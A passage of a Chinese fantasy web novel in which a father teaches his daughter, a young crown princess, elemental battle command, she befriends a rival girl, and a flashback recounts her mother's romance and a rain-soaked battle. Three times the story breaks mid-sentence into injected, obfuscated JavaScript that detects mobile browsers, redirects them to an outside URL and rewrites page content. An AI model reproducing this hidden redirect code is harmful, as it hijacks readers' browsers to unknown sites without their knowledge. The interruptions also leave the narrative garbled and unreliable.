“爹爹!母皇说,打仗就像下棋!有一个最厉害的叫统率!就是母皇那样的!她都不用亲自去打架,只要用灵力场,在好远好远的地方就能看到哪里有山哪里有河,看到坏人在哪里,还能知道刮风下雨!” 她的小手用力地比划着,试图形容那种神奇的感觉,“然后!她就能给下面的士兵加力量!咻——的一下!比如在山里,就给他们加黄色的土灵,让他们变得很能抗打!在平地上跑得快,就加青色的风灵!” 她皱起小眉头,努力回忆着母亲的话,小嘴撅着,奶声奶气地继续:“然后,统率下面有将军!将军也很厉害,必须是女的!她们用灵力打坏人!母皇说,要是两边的将军,一个特别厉害,一个很弱,那弱的肯定就输定了!” “将军下面呢?是副将!”说到这里,她眼睛一亮,骄傲地挺起小胸脯,指了指昭彦,“就像爹爹这样的!母皇说,副将大多数是男的,要特别特别聪明,还要特别特别有力气!带着好多好多的士兵去打坏人!” “最后就是士兵啦!士兵全都是男的!他们拿刀拿枪往前冲!统率给他们加了灵力,他们就变得超级厉害!”她用力挥舞了一下小拳头,总结道,“所以!恒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817792|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿将来要做最厉害的统率!像母皇一样!指挥千军万马!” 昭彦全程微笑着,极其耐心地听着女儿那夹杂着兴奋、崇拜、以及些许童言稚语的讲述。他时不时地点头,眼中充满了鼓励。待女儿说完,他才用手指轻轻刮了一下她的小鼻子,柔声道:“我们恒儿说得真好,全都记住了。统率是执棋的智者,将军是冲锋的利刃,副将是指挥的臂膀,士兵是坚固的基石。母皇教得精细,恒儿学得也快,爹爹真为你感到骄傲。” 他的夸赞让魏恒开心得咯咯直笑,小脑袋得意地扬了起来。她伸出小胳膊搂住昭彦的脖子,亲昵地蹭了蹭,又道:“母皇还说!她以前当领主的时候,她就是将军,爹爹你就是副将!你们两个一起打跑了好多坏人!爹爹你好厉害呀!恒儿以后也要爹爹当我的副将!” 她的小脸上写满了认真和崇拜。 昭彦听到女儿这句话,心中是说不出的温暖与慰藉。他轻轻揉了揉女儿柔软的发顶,眼中是化不开的柔情:“好。爹爹当年能追随你母皇征战沙场,是爹爹的荣幸。将来若恒儿需要,爹爹也定当竭尽所能,做你的副将,助你守护宵朝,守护万民。”他的语气温柔而郑重。 兴奋过后,魏恒的小眉头又渐渐皱了起来,眼中闪过一丝困惑。她拽着昭彦的袖子,小脑袋靠在他胸前,有些苦恼地问道:“爹爹,可是......恒儿还是有地方不懂诶。” “哦?哪里不懂?说给爹爹听听。”昭彦鼓励道。 “母皇说,统率可以用灵力场看清整个战场......可是恒儿今天试了,感觉那灵力飘来飘去的,抓不住,也看不清楚东西,脑袋还有点晕晕的......”她嘟着小嘴,“还有还有,母皇说下雨天火灵会变弱,那敌人要是用水灵打过来,恒儿的火灵不是就没用了吗?那该换什么灵力好呢?”她的小脸上写满了“好难”。 昭彦看着女儿苦恼的小模样,眼中笑意更深。他耐心解释道:“恒儿,运用灵力场感知天地,首先需要的是心静。你的灵力还小,如同奔腾的小溪,活泼却不易掌控。你需要先学会静下心来,感受它,引导它。灵力如水,需让它缓缓流淌,而非肆意奔流,方能映照万物。” 力者虽无灵力,但顶尖者亦有内息修为,他握住女儿的小手,将自己一丝极其微弱、温和的内息渡入她体内,引导着她感受气息的流动。“你闭上眼睛,什么都不要想,就感受......感受风的流动,感受空气的呼吸......然后,试着用你的灵力,轻轻地去‘触摸’它们,像羽毛一样,不要用力。” 魏恒听话地闭上眼睛,长长的睫毛微微颤动,小脸无比认真。片刻之后,她惊喜地睁开眼:“爹爹!爹爹!恒儿感觉到了!好像......真的有风在恒儿的心里吹过!凉凉的!” “这就对了。”昭彦微笑着肯定,“这便是第一步。你天资极高,只需勤加练习这种静心感知之法,不出百日,定能初步掌控灵力场,比你母皇当年还要快。” 他又解答女儿第二个疑问:“至于雨天对敌。没错,水能克火,雨天火灵威力大减,若敌人强于水灵或雷灵,硬拼火灵确实不智。”他眼中闪过一丝回忆的光芒,“统率之妙,在于应变。此时,便可舍弃火灵,转而运用风灵,借助雨势提升士兵的机动性,或进行袭扰、迂回;或者,运用土灵,加固防御,稳住阵脚,以不变应万变。” 他点了点女儿的小鼻子:“爹爹当年追随你母皇,就曾在一次雨夜突袭中,用风灵之力掩护精锐绕到敌军大营之后,配合你母皇的正面强攻,大破敌军。” “哇!风灵绕后!爹爹好厉害!”魏恒听得眼睛发亮,用力拍着小手,“恒儿也要学风灵!爹爹教恒儿用风灵打坏人!也......也打败裴景珑!” 看着女儿兴奋雀跃的模样,昭彦心中充满了暖意。他笑着站起身:“光说不练可不行。走,爹爹陪你用沙盘试试。” 他从书房角落里搬出一座相对小巧、更适合孩童操作的教学沙盘,细致地摆放出模拟的山川河流,又将红蓝两色的小木俑分列两边。“来,恒儿,今日你便是蓝方的统率,爹爹做你的副将,也权且当一回红方的‘笨蛋统率’。这局,我们来模拟一场山地遭遇战,你打算如何布阵?” 他的语气充满了鼓励和期待,眼神温柔,耐心地期待着他的小统率能做到哪一步。 魏恒立刻来了精神,小脸严肃起来,像个真正的小将军。她学着母亲的样子,伸出小手在沙盘上方虚按,闭眼凝神片刻,然后小手一挥,煞有介事地指挥道:“嗯......这里是山口!很重要!恒儿要用土灵固守!把这队士兵放在这里,守住!”她将几个蓝色兵俑摆在模拟的山口位置,兵俑身上泛起淡淡的土黄色光芒。 她皱着小眉头,又指着沙盘的另一侧:“可是爹爹,如果坏人偷偷从这边的小路爬上来,从后面打我们怎么办呀?” “问得好!”昭彦眼中露出赞赏的光芒,“固守要地固然重要,但统率更要眼观六路,时刻防备敌人的奇袭。恒儿能想到这一点,已经非常了不起了。”他循循善诱,“那你觉得,应该怎么办呢?” 魏恒歪着小脑袋想了想,不太确定地说:“呃......分一些士兵过去守着?” “可以,但兵力分散,两边都可能守不住。”昭彦笑着摇头,用手指轻轻推动代表红方的兵俑,模拟出一支小部队正沿着侧面险峻小路向上攀爬的态势,“你看,敌人已经摸上来了。这时候,作为统率,你该如何应对?” 魏恒看着逼近的红色兵俑,小脸有些紧张。她想了想,忽然眼睛一亮,指着另一队待命的蓝色兵俑,大声道:“对了!爹爹刚才说的!用风灵!让他们跑得快快的!绕到坏人后面去!打他们屁股!” “哈哈哈!”昭彦被女儿这生动的形容逗得朗声大笑起来,心中的阴霾仿佛都被这童稚的语言驱散了。他点头赞许:“对!就是这样!敌进我扰,敌疲我打!用风灵奇袭,打乱敌人的部署!恒儿,试试看!” 魏恒立刻兴奋起来,小手一挥,努力调动风灵之力。虽然还有些生涩,但那队蓝色兵俑果然周身青光一闪,移动速度加快,沿着另一条模拟的小道,迅速地朝着那支红色偷袭部队的后方包抄而去! “哇!爹爹!你看!我包围他们了!恒儿赢了!”魏恒激动得从凳子上跳了下来,扑进昭彦怀里,搂着他的脖子,用力地亲了一口,发出咯咯的笑声:“爹爹好聪明!跟爹爹学打仗真好玩!” 昭彦紧紧抱着怀中柔软温热的小小身体,感受着女儿全然的依赖和快乐,心中被一种巨大的、温柔的幸福感所填满。多日来的阴霾与伤痛,仿佛都在女儿这纯粹的笑容和崇拜的目光中,得到了治愈。 他眼中微微湿润,将下巴抵在女儿柔软的发顶,声音低沉而充满承诺:“嗯,我们恒儿最棒了。” “放心,”他轻轻拍着女儿的背,如同守护着世间最珍贵的宝藏,“爹爹会一直陪着你,教着你,看着你...... 长成这个王朝最耀眼的太阳。” 18. 不打不识,灵犀一点纸上约 初冬的午后,阳光透过太子殿高大的窗格,在地板上投下温暖而安静的光斑。殿内布置得清雅庄严,既有符合储君身份的书案和沙盘,也散落着一些小巧的木剑和玩偶,透着一丝属于孩童的温馨。 五岁的魏恒正像个小大人一样,端坐在书案后。她穿着一身合体的浅紫色小袍,乌黑的头发梳成一丝不苟的小发髻,露出光洁饱满的额头。她的小脸上满是认真,小手握着一支适合她尺寸的特制毛笔,并非在写字,而是在练习一种精细的灵力控制法门——以意念引动灵力,让面前一张轻薄的宣纸,如同拥有生命般,缓缓悬浮、旋转、折叠。 “母皇说了,统率要知微见著,掌控全局,灵力控制必须精妙入微!哼,恒儿一定能练好,比那个裴景珑厉害!”她的小嘴微微撅着,全神贯注。 然而,就在此时,殿内安静的空气中,忽然响起一阵极其轻微、如同蚊蚋振翅般的“嗡嗡”声,紧接着,魏恒感觉自己的头发梢像是被什么东西轻轻电了一下,微微发麻,根根竖起! “谁?!”魏恒立刻警觉,练习被打断让她有些恼怒,但更多的是好奇。她灵力场瞬间铺开,立刻感知到了一股熟悉又带着点霸道雷霆气息的灵力波动,正悄悄地隐藏在殿内那座巨大的孔雀开屏玉石屏风后面。 裴景珑! 昨天爹爹才跟我说她后天就要走了,今天就偷偷跑来捣蛋!看我不好好教训你! 魏恒眼珠一转,非但没有生气,反而嘴角勾起一抹极浅的笑意。她假装完全没发现,继续低头认真地控制着那张宣纸,只是那宣纸漂浮的轨迹,开始悄悄地、不着痕迹地向屏风方向移动...... 屏风后面,六岁的裴景珑穿着一身便于活动的青色小武服,正踮着脚尖,屏息凝神,偷偷地看着魏恒。她的小脸上带着一丝得意和期待: 嘻嘻,让你上次在角斗上赢我!虽然母亲说你是太子,让我以后要尊敬你,可我还是不服气!我就要看看,你被我这惊雷毫针吓一跳的样子! 她正得意间,冷不防那张轻飘飘的宣纸如同长了眼睛一般,悄无声息地绕过屏风边缘,“啪”地一下,精准地贴在了她的脑门上! “呀!”裴景珑吓了一跳,下意识地伸手去抓,却抓了个空,那宣纸如同蝴蝶般灵巧地飞开了。 “抓住你啦!偷偷摸摸的捣蛋鬼!”魏恒清脆的笑声响起,她早已站起身来,双手叉腰,得意洋洋地看着从屏风后跳出来的、脸上还带着点刚才宣纸上墨迹的裴景珑。 裴景珑被抓了个现行,小脸一红,但立刻挺起胸膛,不甘示弱地反驳:“谁、谁捣蛋了!我......只是路过!倒是你,魏恒!你竟敢用纸偷袭我!” “是你先用电电我的头发!”魏恒做了个鬼脸,“偷偷摸摸,不算好汉!”她小手一挥,一股柔和的水灵之力凝聚成几颗晶莹剔透的小水珠,如同珍珠般悬浮在她指尖,“你偷袭太子,该当何罪?恒儿要罚你洗脸!” 说罢,那几颗水珠便如同长了眼睛般,灵巧地绕开裴景珑格挡的小手,精准地溅了她一头一脸! “哇呀!魏恒你坏!”裴景珑被冰凉的水珠激得哇哇大叫,也顾不上什么礼仪了,小手一握,指尖立刻跳跃起细小的电弧!“看我的厉害!” 她并未真的攻击,只是用那雷霆灵力,将沾在身上的水珠瞬间蒸发,甚至顺便将魏恒刚才操控的那张宣纸也电得微微焦黑。 “哼!你的雷不好玩!看我的!”魏恒也不甘示弱,小嘴一鼓,风灵之力卷起地上散落的几片用来插花的竹叶,如同飞镖般“嗖嗖嗖”地射向裴景珑! “看我雷光闪!”裴景珑不闪不避,周身泛起一层淡淡的紫色电光,将竹叶尽数弹开! “土灵·小土包!”魏恒小脚一跺! “雷霆·麻麻球!”裴景珑小手一指! “风来·卷卷卷!” “水去·喷喷喷!” 两个小女孩,就在这庄严的太子殿内,将各自强大却还掌控得不太纯熟的灵力,当成了最好玩的玩具!一时间,殿内水珠乱飞,电弧闪烁,落叶狂舞,甚至还有小土块凭空出现又碎裂......她们并非真的在打斗,更像是在互相炫耀、互相使坏,咯咯的笑声和互相指责的叫嚷声响成一片,充满了童稚的欢乐。 魏恒用水灵之力偷偷绊了裴景珑一个趔趄,裴景珑就用一丝微弱的电流让魏恒刚拿起的点心麻了手;魏恒用风卷起裴景珑的裙角让她惊呼,裴景珑就用静电让魏恒的头发像炸开的狮子...... 追逐打闹了小半个时辰,两个小家伙都累得气喘吁吁,双双瘫坐在了柔软的地毯上,谁也奈何不了谁。 她们互相看着对方狼狈的模样——魏恒的头发乱蓬蓬的像个鸟窝,脸上还沾着几点墨迹;裴景珑的衣袖被水打湿了一大片,额角也被土块砸了个小小的红印子。 看着看着,两人不知是谁先忍不住,“噗嗤”一声笑了出来。 随即,清脆而响亮的、属于孩童的纯真笑声,便如同银铃般响彻了整个太子殿。 “咯咯咯......珑儿......你、你好狼狈呀!”魏恒笑得在地上打滚,指着裴景珑湿漉漉的袖子。 “哼!恒儿你......你才是呢!像个小花猫!”裴景珑也笑得前仰后合,指着魏恒脸上的墨点,但语气里早已没了之前小小的敌意,反而带着一丝亲近。 笑够了,两人并排坐在地毯上,都有些不好意思。 裴景珑先开口,声音依旧带着点倔强,却又有些扭捏:“喂,魏恒......你这个人,虽然是太子,脾气好像......也没那么讨厌嘛。” 魏恒眨了眨大眼睛,也认真地点头:“嗯!珑儿你虽然有点凶,但是也挺好玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817793|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!比我那些只会哭的妹妹弟弟们好玩多了!” 两个小女孩相视一眼,又忍不住一起咯咯地笑了起来。 短暂的交手与嬉闹,反而让她们之间那点因为角斗而产生的隔阂与不服气,消散得无影无踪,取而代之的是一种棋逢对手、惺惺相惜的奇妙感觉。 她们开始凑在一起,用灵力玩起了别的游戏。一会儿用灵力凝聚出小小的、歪歪扭扭的冰晶小动物;一会儿比赛谁能用风托起更多的叶子;一会儿又一起合作,试图用灵力搭建一个不稳定的积木塔......虽然依旧有竞争,但更多的是分享和一起探索的快乐。 不知不觉,夕阳西下,金色的余晖洒满了宫殿。 到了该告别的时候。 裴景珑脸上的笑容渐渐淡去,眼中流露出明显的不舍。她站起身,低着头,小声道:“恒儿......我明天就要走了。去那个......北辰钟灵书院。” 魏恒脸上的笑容也消失了,她知道这件事,爹爹跟她说过。她有些失落地问:“要去很久吗?” “嗯,母亲说,要去八年。”裴景珑的声音更低了,“可能要好久好久才能再见到你了。” 她忽然抬起头,小脸上重新燃起了斗志,眼中闪烁着明亮的光芒。她从怀里掏出一张折叠得整整齐齐的小纸条,上面似乎还萦绕着一丝极其微弱的、属于她的雷霆灵力波动。 她将纸条塞到魏恒手里,脸颊微红,有些不好意思,却又带着一种郑重的语气说道:“喏!这个给你!现在不许看!等我走了你再看!” 说完,她不再看魏恒,转身便向殿外跑去,跑到门口时,又猛地回头,对着魏恒大声喊道:“魏恒!你等着!八年后回来,我一定会打败你的!” 喊完,她便头也不回地跑远了,小小的身影很快消失在夕阳的余晖里,只留下一句带着挑战与一丝友情意味的话语,在空气中回荡。 魏恒愣愣地站在原地,看着裴景珑消失的方向,又低头看了看手中那张还带着对方体温和微弱灵力波动的小纸条。 她小心翼翼地展开纸条,只见上面用稚嫩却又充满力量的笔迹写着: “好对手,还是好朋友, 下次见面,自有分晓!” 魏恒看着那行字,心中百感交集。有因为对手离去的一丝怅然,有对未来挑战的兴奋,更多的,却是一种名为“友情”的、新奇而温暖的感觉。 她用力握紧了手中的纸条,对着空无一人的殿门口,也用力地喊了回去: “裴景珑!你放心去吧!我等你回来!到时候,我一定变得比你更厉害!我......我才不会输给你呢!” 哼!好对手!好朋友!裴景珑,你等着,八年后,我一定会让你大吃一惊! 不过,路上要小心呀。 在书院,也要好好吃饭才行。 19. 撩拨情迷,红烛未燃意已深 夜已深沉,太子殿下今日经历了一场别开生面的灵力嬉闹,又送别了那位让她产生了复杂情感的裴景珑,小脑袋里塞满了新奇的体验和复杂的情绪,躺在自己寝殿柔软的床榻上,翻来覆去,却怎么也睡不着。 她一会儿攥紧、一会儿又打开看手里那张被灵力包裹、写着“下次见面,自有分晓”的小纸条,小嘴里念念有词:“哼!下次一定打败你......不过,一起玩还挺开心的......” 守在床边的昭彦,看着女儿这副辗转反侧、小大人般纠结的模样,心中既是好笑,又是怜爱。他知道白日里的事情对她冲击不小,便放下了手中的书卷,走到床边坐下,轻声问道:“恒儿,怎么还不睡?是在想今天和景珑姐姐玩的事情吗?” 魏恒听到爹爹的声音,立刻骨碌一下坐起身来,扑进他怀里,仰着小脸,眼中充满了困惑与好奇:“爹爹!那个裴景珑,她说下次见面要打败我,可她又说......我们是好朋友。好对手和好朋友,可以同时是吗?” 昭彦一愣,随即明白了女儿的困惑。他失笑地揉了揉她的小脑袋,柔声道:“当然可以。真正的对手,往往最了解彼此,也最能惺惺相惜,自然也可以成为好朋友。就像......爹爹和你母皇。当年第一次见面,你母皇就拉着爹爹比试剑术呢!” “母皇?”魏恒的眼睛亮了起来,“爹爹和母皇以前也是好对手吗?你们在战场上是怎么配合打坏人的呀?母皇当将军,爹爹当副将,是不是特别特别厉害?”她的小脸上写满了崇拜。 昭彦看着女儿亮晶晶的眼眸,心中一暖。那些金戈铁马、并肩作战的岁月,虽然艰苦,却也是他记忆中最纯粹也最炽热的时光。他放柔了声音,捡了一段相对平和、适合讲给孩子听的往事: “是啊,很厉害。”他眼中带着温柔的笑意,“那时候,你母皇的灵力就像最耀眼的火焰,席卷整个战场。而爹爹呢,就带着亲卫营,像一把最坚固的盾牌,牢牢守在她身边,不让任何敌人有机会靠近她、伤害她。她指到哪里,爹爹就打到哪里。有时候,甚至不需要她开口,爹爹看她一个眼神,就知道该怎么做了......” 他简单描述了某次战斗中,魏勉如何用火灵焚烧敌军粮草,而他如何默契地率兵截断敌军后路的小故事。魏恒听得入了迷,小手紧紧抓着他的衣襟,仿佛身临其境。 故事讲完,魏恒却又歪着小脑袋,提出了一个更让昭彦始料未及的问题: “哇!爹爹和母皇配合得那么好!那你们以前是不是也像我和珑儿今天一样,经常在一起玩,然后就决定永远一起玩了呀?”她眨巴着天真的大眼睛,好奇地问道,“爹爹,你和母皇是怎么喜欢上对方的呢?” 昭彦的心,被女儿这句充满了童稚逻辑的问话,轻轻地,却又无比精准地戳中了。 是怎么喜欢上对方的呢? 他的眼前,仿佛瞬间掠过了无数的画面—— 是初见时,高台上那个银甲束发、英姿飒爽,眼神如同星辰般耀眼的少年领主; 是校场上,她带着笑、用燃烧着火焰的长矛指向他,说要亲试他剑术的飞扬自信; 是月光下,她褪去威严、穿着素裙,眼中闪烁的无边柔情; 是她......在他终于成为副将后,扑进他怀里,哭着笑着说“我们终于可以一直在一起了”时的激动与真挚...... 还有......还有那之后几年的时光...... 那段他们刚刚确立心意,他还只是她的副将,因为地位悬殊而充满了青涩的试探和笨拙的靠近,以及他那因为自卑和患得患失而显得格外“别扭”的爱恋...... 他的思绪,不由自主地,如同挣脱了闸门的潮水,汹涌而温柔地,飘回了许多许多年前,飘回了那个同样明媚,却又充满了少年人的悸动、酸涩、拉扯与浓情蜜意的春天。 看着女儿依旧好奇等待着答案的小脸,昭彦的眼神变得无比温柔,也无比悠远。 他轻轻将女儿重新放回枕头上,为她掖好被角,声音低沉而带着笑意,仿佛在讲述一个很久很久以前的故事: “爹爹和你母皇啊......说来话长了......” “那大概,要从一个总是爱吃醋,又总是口是心非的傻小子,遇到了一个喜欢捉弄人,又霸道得不讲道理的小领主,开始说起吧......” 魏勉和昭彦在一起后的几年里,魏勉厉兵秣马,整顿内政,望北城日益强盛。昭彦则在她近乎严苛的督促和自身的拼命努力下,早已从一个青涩的新兵成长为一名沉稳干练、在军中颇具威望的副将。 他们第一次真正意义上并肩作战,是在一场突如其来的敌城小规模入侵战中。 那一次,魏勉亲自领军,坐镇中军,运筹帷幄。而昭彦,则作为她的副将,率领先锋营,直面敌军的精锐骑兵。 战场之上,黄沙弥漫,杀声震天。魏勉在高处,灵力场覆盖整个战场,如同无形的眼睛和手臂,精准地感知着敌我态势,调动着风火之力,为己方士兵加持,或对敌军进行干扰和打击。 而昭彦,则仿佛是她意志的延伸。往往她一个细微的灵力波动信号发出,甚至只是一个眼神的交汇,他便能立刻心领神会,指挥亲卫营或冲锋、或迂回、或固守,时机把握得分毫不差。他身先士卒,长剑挥舞,勇不可当,牢牢护卫在魏勉侧翼,将所有试图靠近中军的敌人都斩于马下。 那种无需言语的默契,那种仿佛演练了千百次的协同作战,让所有观战的将士都为之震撼。他们看到,领主的灵力如同天网,无所不在;而副将的勇武则如同利刃,所向披靡。两人一静一动,一远一近,配合得天衣无缝,将原本数量占优的北戎骑兵打得丢盔弃甲,狼狈而逃。 战后,夕阳残照,映红了半边天空和染血的沙场。魏勉站在尸横遍野的战场上,看着策马回到自己身边,盔甲上沾满血迹与尘土,却难掩眼中兴奋光芒的昭彦,心中充满了难以言喻的激荡与骄傲。 这,才是我魏勉的男人!这,才是我想要的、能与我并肩看天下的伴侣! 她跳下战车,走到他马前,伸手,用力拍了拍他的肩膀,眼中是毫不掩饰的赞赏:“昭彦,今日一战,打得漂亮!” 昭彦看着她近在咫尺的、因激动而微微泛红的脸庞,感受着她手掌传递过来的力量与温度,心中也是豪情万丈,所有的疲惫一扫而空。他翻身下马,单膝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她会轻笑着拍拍他的脸颊,说一句“时辰不早了,你也累了,早些歇息吧”,然后转身,带着胜利者的姿态,潇洒地离去。 只留下昭彦一个人,在原地僵立,身体里是被撩拨而起难以平息的熊熊烈火,脸上是红白交加的窘迫,心中是又羞又气又无奈,还有那么一丝......被她如此“渴望”着的,隐秘的窃喜。 昭彦常常在她走后,对着空气挥舞几下拳头,又或者冲到院子里用冷水浇头,才能勉强压下那股无处安放的燥热。 可下一次,当她再次带着那种坏心眼的笑容靠近时,他还是会再一次地,在她精心编织的、充满了甜蜜与折磨的网中,溃不成军。 这种极致的挑逗与极致的隐忍,如同绷紧的弓弦,让两人之间的张力越来越强。浓情蜜意不减,却也因此掺杂了更多属于青年人的、求而不得的焦灼与渴望。他们的爱,在战火的锤炼与日常的拉扯中,变得更加复杂,也更加令人沉沦。 他们的爱,早已超越了最初的悸动,融入了彼此的骨血,只等待一个契机,一场足以改变命运的烈火,来最终淬炼成型。 这个契机,在他们相识相恋的第五个年头,终于以一种极其酷烈的方式,降临了。 20. 三喜临门,功成名就洞房夜 天幕低垂,铅灰色的乌云如同沉重的铁块,死死压在血刃谷嶙峋的山脊之上。 云层深处电蛇狂舞,闷雷滚动,仿佛有远古的巨兽在其中咆哮。空气燥热而凝滞,山风卷起砂石,发出尖利的呜咽,一场足以淹没一切的暴雨正在天地间急速酝酿。 血刃谷外,广阔的荒原之上,北戎十万大军的营盘连绵不绝,如同黑色的怒涛拍打着谷口的礁石。无数部族的狼头战旗在狂风中招展,十万颗渴望杀戮与掠夺的心脏在战鼓声中狂跳。 大军阵前,一面绣着浴火金鹰的巨型帅旗之下,立着一位与周遭粗犷环境格格不入、却又散发着惊人压迫感的身影。 她便是此次南侵的北戎统率,大汗最信任的左膀右臂,以赫赫战功震慑草原的亲王——宇文骁。 她并未穿着中原将领那般繁复的铠甲,而是套着一件由雪狼皮和某种不知名金属鳞片缝制的、充满了异域风情的厚重战袍,勾勒出高大而充满力量感的曲线。古铜色的肌肤饱经风霜,脸上甚至有几道浅浅的疤痕,非但不显丑陋,反而平添了几分凶悍之美。她手中握着一柄造型奇特的、仿佛燃烧着火焰的骨杖,周身散发出的炽热灵力几乎扭曲了空气。 “将士们!”宇文骁的声音洪亮而极具穿透力,压过了风声与雷鸣,“对面的关城里,只有一个乳臭未干的魏氏娃娃,带着一群没见过血的羔羊!她们的土地、她们的财富、她们的男人,都将是我们的战利品!随我踏平血刃谷,让火焰吞噬望北城!” “嗷呜——!”十万北戎军发出震天的狼嚎,贪婪与嗜血的光芒在她们眼中闪耀。 狭窄的关城之上,气氛肃杀。 五千魏氏精兵,玄甲如墨,长戈如林,静默如山。 城楼正中,二十二岁的魏勉,银甲赤氅,长发高束。她的身躯相比于城外的宇文骁显得有些单薄,但那双眼眸中的冷静、智慧与决绝,却如同定海神针,稳住了所有人的心。她的灵力场早已悄然铺开,感知着敌军的动向,也抵抗着天空中那让她太阳穴阵阵刺痛的雷电威压。 宇文骁......果然是你亲自来了。草原上最负盛名的烈焰雌狮,倒是瞧得起我这“魏氏娃娃”。 魏勉嘴角露出一丝冷笑。 十万大军,火灵之力......可惜,你选错了战场,更选错了对手! 她身旁的昭彦,手按长剑,神情凝重,低声道:“主上,宇文骁亲至,其火灵霸道异常,我军兵力悬殊......” “无妨。”魏勉打断他,声音平静却带着强大的自信,“昭彦,执行原计划。” “是!”昭彦不再多言,眼中充满了对她的绝对信任,转身,迅速消失在城楼之下,带领两千剑盾兵,潜入了左翼的密林之中。 “传令!”魏勉看向另外两名将军,“敌军势大,正面佯守,诱敌入谷!” 随着北戎的战鼓擂响,一场力量悬殊,却早已被精心算计的战役,拉开了序幕。 宇文骁果然如魏勉所料,极其自负。在她看来,区区五千守军,根本不值得她动用太多计谋,只需要用最强大的骑兵洪流,便足以将那脆弱的关城彻底冲垮! 三万北戎精锐骑兵,在她炽热火灵的加持下,如同真正的烈焰风暴,呼啸着冲入谷口!关城上的防御显得如此“不堪一击”,稀疏的箭雨和微弱的火墙几乎没有造成任何有效阻碍。 “哈哈哈!不堪一击!冲进去,杀光她们!”宇文骁在后方看着,发出得意的大笑。她催促着后续的七万步兵,如同驱赶着羊群般,涌入了狭长的血刃谷。 魏氏守军则在魏勉的暗号下,开始了逼真的“溃败”,且战且退,不断将敌军引向山谷深处。 当北戎大军主力已深入谷中十余里,庞大的军队在狭窄的地形中被拉扯得不成形状,骑兵与步兵渐渐脱节之时—— “轰隆隆——!” 天空仿佛被撕裂,蓄势已久的倾盆暴雨,如同天河倒泄般,疯狂地砸落下来! 冰冷的雨水瞬间浇灭了北戎士兵高涨的气焰,也浇熄了宇文骁身上那熊熊燃烧的火灵之力! 宇文骁脸色一变,她能清晰地感觉到,自己的火灵之力在暴雨中受到了极大的压制,威力锐减!而脚下的土地,也迅速变得泥泞不堪,严重阻碍了骑兵的行动! 而就在此时,关城之上,一直隐忍不发的魏勉,眼中骤然爆发出惊人的光芒!雷电的轰鸣让她头痛欲裂,但那份痛苦,反而刺激得她体内的灵力以前所未有的速度疯狂运转! “就是现在!” “杀——!” 山谷左翼,密林之中,昭彦率领的两千剑盾兵如同沉默的死神,骤然杀出!他们精准地切入了北戎步兵与骑兵之间那混乱的结合部,长剑挥舞,盾牌冲击,瞬间便将敌军拦腰斩断! “风起!断其归路!”关城上,魏勉清叱一声,狂风呼啸,在狭窄的谷口形成一道肉眼可见的、高速旋转的气流屏障! “火来!焚尽敌寇!”她双手结印,体内火灵之力毫无保留地喷薄而出!这一次,不再是试探,而是真正的毁灭!上百条更加凝实、更加炽热的火焰巨龙,咆哮着,竟在暴雨中强行辟开水幕,以无可阻挡之势,狠狠撞入了谷中已然陷入混乱和泥泞的北戎骑兵阵列! “轰——轰——轰——!” 烈焰与暴雨交织,爆炸声、惨叫声、战马的悲鸣声响彻山谷!北戎精锐骑兵在狭窄泥泞的地形中无法施展,又被突如其来的火焰巨龙彻底冲垮,阵型大乱,死伤枕籍! “宇文骁!”魏勉的目光如同利剑,穿透雨幕,死死锁定了那个在亲卫护持下,正惊怒交加地试图用骨杖重新凝聚火灵的北戎亲王!“今日,便是你的死期!” 她凝聚全身灵力,一道比之前任何一次都要凝练、都要炽热的、仿佛能洞穿一切的赤金火矛,破空而去,直指宇文骁! 宇文骁感受到致命的威胁,发出一声怒吼,将骨杖猛地顿在地上,残余的火灵之力疯狂涌出,试图在身前凝聚最强的防御! 但,太迟了!也......太弱了! “噗——!” 赤金火矛摧枯拉朽般击穿了她的火焰护盾,狠狠贯入了她的左肩! “呃啊——!”宇文骁发出一声痛苦的闷哼,鲜血狂喷,身体巨震,眼中充满了难以置信的惊骇与暴怒:“不可能......这绝不可能!你的灵力怎会如此之强?!” 主帅重伤!军心动摇! 就在宇文骁重伤,北戎大军陷入更大混乱之际,魏勉只觉得脑海中那持续不断的刺痛猛然一顿,随即,仿佛有什么无形的桎梏被打破。 一股更为磅礴、更为精纯、更为圆融通达的力量感,如同火山爆发般,自她的灵核深处汹涌而出,瞬间流遍整个身躯! 她的灵力场范围骤然扩大,感知变得前所未有的清晰,对风、火两种元素的掌控更是达到了一个全新的、随心所欲的境界!甚至连天空中那令她痛苦的雷电之力,此刻在她感知中,也似乎不再那么排斥,反而隐隐传来一丝可以被引动的亲和感! 这是......统率之境? 我......突破了?! 巨大的惊喜与力量充盈的感觉,让她瞬间忘记了所有的痛苦!她仰天发出一声清越、充满了无上威严的长啸! “风!火!听我号令!” 随着她的啸声,整个血刃谷的风与火元素仿佛都为之臣服!狂风卷集着暴雨,更卷集着战场上残余的火焰,在她意志的引导下,化作了一道连接天地的、风火交加、甚至裹挟着丝丝电芒的巨大毁灭龙卷! “以魏氏之名,赐尔等,灭亡。” 